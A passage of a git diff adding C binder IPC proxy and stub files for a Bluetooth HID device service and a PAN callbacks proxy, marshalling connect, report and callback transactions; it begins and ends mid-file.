cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, bdAddr); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_VIRTUAL_UNPLUG, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static const hid_device_callbacks_t static_hidd_cbks = { + sizeof(static_hidd_cbks), + BpBtHiddCallbacks_appStateCallback, + BpBtHiddCallbacks_connectionStateCallback, + BpBtHiddCallbacks_getReportCallback, + BpBtHiddCallbacks_setReportCallback, + BpBtHiddCallbacks_receiveReportCallback, + BpBtHiddCallbacks_virtualUnplugCallback, +}; + +const hid_device_callbacks_t* BpBtHiddCallbacks_getStatic(void) +{ + return &static_hidd_cbks; +} diff --git a/service/ipc/binder/src/hid_device_callbacks_stub.c b/service/ipc/binder/src/hid_device_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..8eb30cd4396a36a1a20720d68c7018a8367ebbdb --- /dev/null +++ b/service/ipc/binder/src/hid_device_callbacks_stub.c @@ -0,0 +1,229 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "hid_device_callbacks_stub.h" +#include "hid_device_proxy.h" +#include "hid_device_stub.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_HID_DEVICE_CALLBACK_DESC "BluetoothHidDeviceCallback" + +static const AIBinder_Class* kIBtHiddCallbacks_Class = NULL; + +static void* IBtHiddCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtHiddCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtHiddCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtHiddCallbacks* cbks = AIBinder_getUserData(binder); + + switch (code) { + case ICBKS_HIDD_APP_STATE: { + uint32_t state; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->app_state_cb(cbks, state); + break; + } + case ICBKS_HIDD_CONNECTION_STATE: { + uint32_t state; + bt_address_t addr; + bool leLink; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &leLink); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->connection_state_cb(cbks, &addr, leLink, state); + break; + } + case ICBKS_GET_REPORT: { + bt_address_t addr; + uint32_t rpt_type, rpt_id, buffer_size; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_id); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &buffer_size); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->get_report_cb(cbks, &addr, (uint8_t)rpt_type, (uint8_t)rpt_id, (uint16_t)buffer_size); + break; + } + case ICBKS_SET_REPORT: { + bt_address_t addr; + uint32_t rpt_type, rpt_size; + uint8_t* rpt_data; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_size); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&rpt_data, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->set_report_cb(cbks, &addr, (uint8_t)rpt_type, (uint16_t)rpt_size, rpt_data); + free(rpt_data); + break; + } + case ICBKS_RECEIVE_REPORT: { + bt_address_t addr; + uint32_t rpt_type, rpt_size; + uint8_t* rpt_data; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_size); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&rpt_data, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->receive_report_cb(cbks, &addr, (uint8_t)rpt_type, (uint16_t)rpt_size, rpt_data); + free(rpt_data); + break; + } + case ICBKS_VIRTUAL_UNPLUG: { + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->virtual_unplug_cb(cbks, &addr); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtHiddCallbacks_getBinder(IBtHiddCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtHiddCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtHiddCallbacks_Class) { + kIBtHiddCallbacks_Class = AIBinder_Class_define(BT_HID_DEVICE_CALLBACK_DESC, IBtHiddCallbacks_Class_onCreate, + IBtHiddCallbacks_Class_onDestroy, IBtHiddCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtHiddCallbacks_Class); +} + +IBtHiddCallbacks* BtHiddCallbacks_new(const hid_device_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtHiddCallbacks* cbks = malloc(sizeof(IBtHiddCallbacks)); + + clazz = AIBinder_Class_define(BT_HID_DEVICE_CALLBACK_DESC, IBtHiddCallbacks_Class_onCreate, + IBtHiddCallbacks_Class_onDestroy, IBtHiddCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtHiddCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtHiddCallbacks_delete(IBtHiddCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/hid_device_proxy.c b/service/ipc/binder/src/hid_device_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..d4f68758786738556bfde4695450558af598124e --- /dev/null +++ b/service/ipc/binder/src/hid_device_proxy.c @@ -0,0 +1,413 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +// #include <android/binder_auto_utils.h> +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "hid_device_proxy.h" +#include "hid_device_stub.h" +#include "parcel.h" +#include "utils/log.h" + +void* BpBtHidd_registerCallback(BpBtHidd* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t cookie; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IHIDD_REGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &cookie); + if (stat != STATUS_OK) + return NULL; + + return (void*)cookie; +} + +bool BpBtHidd_unRegisterCallback(BpBtHidd* bpBinder, void* cookie) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)cookie); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IHIDD_UNREGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bt_status_t BpBtHidd_registerApp(BpBtHidd* bpBinder, hid_device_sdp_settings_t* sdp, bool le_hid) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + if (!sdp) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, sdp->name, strlen(sdp->name)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, sdp->description, strlen(sdp->description)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeString(parcelIn, sdp->provider, strlen(sdp->provider)); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.attr_mask); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.sub_class); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.country_code); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.vendor_id); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.product_id); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.version); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.supervision_timeout); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.ssr_max_latency); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.ssr_min_timeout); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)sdp->hids_info.dsc_list_length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)sdp->hids_info.dsc_list, sdp->hids_info.dsc_list_length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeBool(parcelIn, le_hid); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_REGISTER_APP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHidd_unregisterApp(BpBtHidd* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_UNREGISTER_APP, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHidd_connect(BpBtHidd* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHidd_disconnect(BpBtHidd* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHidd_sendReport(BpBtHidd* bpBinder, bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_id); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)rpt_data, rpt_size); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeInt32(parcelIn, (int32_t)rpt_size); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_SEND_REPORT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHidd_responseReport(BpBtHidd* bpBinder, bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)rpt_type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)rpt_data, rpt_size); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeInt32(parcelIn, (int32_t)rpt_size); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_RESPONSE_REPORT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHidd_reportError(BpBtHidd* bpBinder, bt_address_t* addr, hid_status_error_t error) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeInt32(parcelIn, (int32_t)error); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_REPORT_ERROR, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHidd_virtualUnplug(BpBtHidd* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHIDD_VIRTUAL_UNPLUG, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/hid_device_stub.c b/service/ipc/binder/src/hid_device_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..d81cf96d0bd184ff4d11828c13cf95b4c9f6848a --- /dev/null +++ b/service/ipc/binder/src/hid_device_stub.c @@ -0,0 +1,394 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "hid_device_service.h" +#include "service_manager.h" + +#include "hid_device_callbacks_proxy.h" +#include "hid_device_callbacks_stub.h" +#include "hid_device_proxy.h" +#include "hid_device_stub.h" +#include "parcel.h" +#include "utils/log.h" + +#define BT_HID_DEVICE_DESC "BluetoothHidDevice" + +static void* IBtHidd_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtHidd_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtHidd_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + + hid_device_interface_t* profile = (hid_device_interface_t*)service_manager_get_profile(PROFILE_HID_DEV); + if (!profile) + return stat; + + switch (code) { + case IHIDD_REGISTER_CALLBACK: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtHiddCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + void* cookie = profile->register_callbacks(remote, BpBtHiddCallbacks_getStatic()); + stat = AParcel_writeUint32(reply, (uint32_t)cookie); + break; + } + case IHIDD_UNREGISTER_CALLBACK: { + AIBinder* remote = NULL; + uint32_t cookie; + + stat = AParcel_readUint32(in, &cookie); + if (stat != STATUS_OK) + return stat; + + bool ret = profile->unregister_callbacks((void**)&remote, (void*)cookie); + if (ret && remote) + AIBinder_decStrong(remote); + + stat = AParcel_writeBool(reply, ret); + break; + } + case IHIDD_REGISTER_APP: { + uint32_t status; + uint32_t u32Val; + hid_device_sdp_settings_t sdp; + bool le_hid; + + memset(&sdp, 0, sizeof(hid_device_sdp_settings_t)); + stat = AParcel_readString(in, &sdp.name, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + goto register_out; + + stat = AParcel_readString(in, &sdp.description, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + goto register_out; + + stat = AParcel_readString(in, &sdp.provider, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + goto register_out; + + stat = AParcel_readUint32(in, &sdp.hids_info.attr_mask); + if (stat != STATUS_OK) + goto register_out; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.sub_class = (uint8_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.country_code = (uint8_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.vendor_id = (uint16_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.product_id = (uint16_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.version = (uint16_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.supervision_timeout = (uint16_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.ssr_max_latency = (uint16_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.ssr_min_timeout = (uint16_t)u32Val; + + stat = AParcel_readUint32(in, &u32Val); + if (stat != STATUS_OK) + goto register_out; + sdp.hids_info.dsc_list_length = (uint16_t)u32Val; + + stat = AParcel_readByteArray(in, (void*)&sdp.hids_info.dsc_list, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + goto register_out; + + stat = AParcel_readBool(in, &le_hid); + if (stat != STATUS_OK) + goto register_out; + + status = profile->register_app(&sdp, le_hid); + stat = AParcel_writeUint32(reply, status); + + register_out: + if (sdp.name) + free((void*)sdp.name); + if (sdp.description) + free((void*)sdp.description); + if (sdp.provider) + free((void*)sdp.provider); + if (sdp.hids_info.dsc_list) + free((void*)sdp.hids_info.dsc_list); + break; + } + case IHIDD_UNREGISTER_APP: { + uint32_t status; + + status = profile->unregister_app(); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHIDD_CONNECT: { + uint32_t status; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->connect(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHIDD_DISCONNECT: { + uint32_t status; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHIDD_SEND_REPORT: { + uint32_t status, rpt_id; + bt_address_t addr; + int32_t rpt_size; + uint8_t* rpt_data; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_id); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&rpt_data, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readInt32(in, &rpt_size); + if (stat != STATUS_OK) { + free(rpt_data); + return stat; + } + + status = profile->send_report(&addr, (uint8_t)rpt_id, rpt_data, rpt_size); + free(rpt_data); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHIDD_RESPONSE_REPORT: { + uint32_t status, rpt_type; + bt_address_t addr; + int32_t rpt_size; + uint8_t* rpt_data; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &rpt_type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&rpt_data, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readInt32(in, &rpt_size); + if (stat != STATUS_OK) { + free(rpt_data); + return stat; + } + + status = profile->response_report(&addr, (uint8_t)rpt_type, rpt_data, rpt_size); + free(rpt_data); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHIDD_REPORT_ERROR: { + uint32_t status; + bt_address_t addr; + int32_t error_code; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readInt32(in, &error_code); + if (stat != STATUS_OK) + return stat; + + status = profile->report_error(&addr, error_code); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHIDD_VIRTUAL_UNPLUG: { + uint32_t status; + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->virtual_unplug(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtHidd_getClass(void) +{ + + AIBinder_Class* clazz = AIBinder_Class_define(BT_HID_DEVICE_DESC, IBtHidd_Class_onCreate, + IBtHidd_Class_onDestroy, IBtHidd_Class_onTransact); + + return clazz; +} + +static AIBinder* BtHidd_getBinder(IBtHidd* hidd) +{ + AIBinder* binder = NULL; + + if (hidd->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(hidd->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(hidd->clazz, (void*)hidd); + if (hidd->WeakBinder != NULL) { + AIBinder_Weak_delete(hidd->WeakBinder); + } + + hidd->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtHidd_addService(IBtHidd* hidd, const char* instance) +{ + hidd->clazz = (AIBinder_Class*)BtHidd_getClass(); + AIBinder* binder = BtHidd_getBinder(hidd); + hidd->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtHidd* BpBtHidd_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtHidd* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtHidd_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtHidd_delete(BpBtHidd* bpHidd) +{ + AIBinder_decStrong(bpHidd->binder); + free(bpHidd); +} + +AIBinder* BtHidd_getService(BpBtHidd** bpHidd, const char* instance) +{ + BpBtHidd* bpBinder = *bpHidd; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtHidd_new(instance); + if (!bpBinder) + return NULL; + + *bpHidd = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/binder/src/pan_callbacks_proxy.c b/service/ipc/binder/src/pan_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..28ba1e03a4828f01d28ac23dcbad5db4cae7d1a1 --- /dev/null +++ b/service/ipc/binder/src/pan_callbacks_proxy.c @@ -0,0 +1,105 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include 